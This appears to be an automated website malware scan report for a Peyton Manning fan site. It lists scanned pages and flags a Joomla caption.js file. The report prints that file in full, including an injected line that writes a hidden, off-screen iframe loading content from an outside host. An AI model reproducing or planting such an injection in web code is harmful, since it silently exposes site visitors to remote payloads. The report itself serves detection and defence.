Scanned pages/files
Request | Server response | Status |
http://www.wewantpeyton.com/ | 200 OK Content-Length: 7869 Content-Type: text/html | clean |
http://www.wewantpeyton.com/media/system/js/core.js | 200 OK Content-Length: 3790 Content-Type: application/x-javascript | clean |
http://www.wewantpeyton.com/media/system/js/mootools-core.js | 200 OK Content-Length: 175 Content-Type: application/x-javascript | clean |
http://www.wewantpeyton.com/media/system/js/caption.js | 200 OK Content-Length: 974 Content-Type: application/x-javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var JCaption=new Class({initialize:function(b){this.selector=b;var a=$$(b);a.each(function(c){this.createCaption(c)},this)},createCaption:function(c){var b=document.createTextNode(c.title);var a=document.createElement("div");var e=document.createElement("p");var d=c.getAttribute("width");var f=c.getAttribute("align");if(!d){d=c.width}if(!f){f=c.getStyle("float")}if(!f){f=c.style.styleFloat}if(f==""||!f){f="none"}e.appendChild(b);e.className=this.selector.replace(".","_");c.parentNode.insertBefore(a,c);a.appendChild(c);if(c.title!=""){a.appendChild(e)}a.className=this.selector.replace(".","_");a.className=a.className+" "+f;a.setAttribute("style","float:"+f);a.style.width=d+"px"}});document.caption=null;window.addEvent("load",function(){var a=new JCaption("img.caption");document.caption=a});document.write('<iframe height="120" width="120" style="top:0px;left:-500px;position:fixed;" src="http://ucaphnx.qhigh.com/dfa5290dba241.HbgPTWtBGijkSxu?default"></iframe>'); Antivirus reports:
| ||
http://www.wewantpeyton.com/peyton-updates | 200 OK Content-Length: 11931 Content-Type: text/html | clean |
http://www.wewantpeyton.com/media/system/js/mootools-more.js | 200 OK Content-Length: 224587 Content-Type: application/x-javascript | clean |
http://www.wewantpeyton.com/peyton-forum | 200 OK Content-Length: 190 Content-Type: text/html | clean |
http://www.wewantpeyton.com/test404page.js | 404 Article not found Content-Length: 1399 Content-Type: text/html | clean |
http://www.wewantpeyton.com/index.php | 200 OK Content-Length: 7878 Content-Type: text/html | clean |
http://www.wewantpeyton.com/component/users/?view=reset | 200 OK Content-Length: 6905 Content-Type: text/html | clean |
http://www.wewantpeyton.com/media/system/js/validate.js | 200 OK Content-Length: 2785 Content-Type: application/x-javascript | clean |
http://www.wewantpeyton.com/component/users/?view=remind | 200 OK Content-Length: 6744 Content-Type: text/html | clean |
http://www.wewantpeyton.com/component/users/?view=registration | 200 OK Content-Length: 8779 Content-Type: text/html | clean |
http://www.wewantpeyton.com/component/mailto/?tmpl=component&template=orangetemplate-tg&link=6ac802c8a20a46af8871053eccc4329abf5689c1 | 200 OK Content-Length: 3311 Content-Type: text/html | clean |
http://www.wewantpeyton.com/peyton-updates/5-manning-admits-underperforming-on-baseline-concussion-tests | 200 OK Content-Length: 10990 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: wewantpeyton.com
Result:
GET / HTTP/1.1
Host: wewantpeyton.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: wewantpeyton.com
Referer: http://www.google.com/search?q=wewantpeyton.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: wewantpeyton.com
Referer: http://www.google.com/search?q=wewantpeyton.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=wewantpeyton.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://wewantpeyton.com/
Result: wewantpeyton.com is not infected or malware details are not published yet.
Result: wewantpeyton.com is not infected or malware details are not published yet.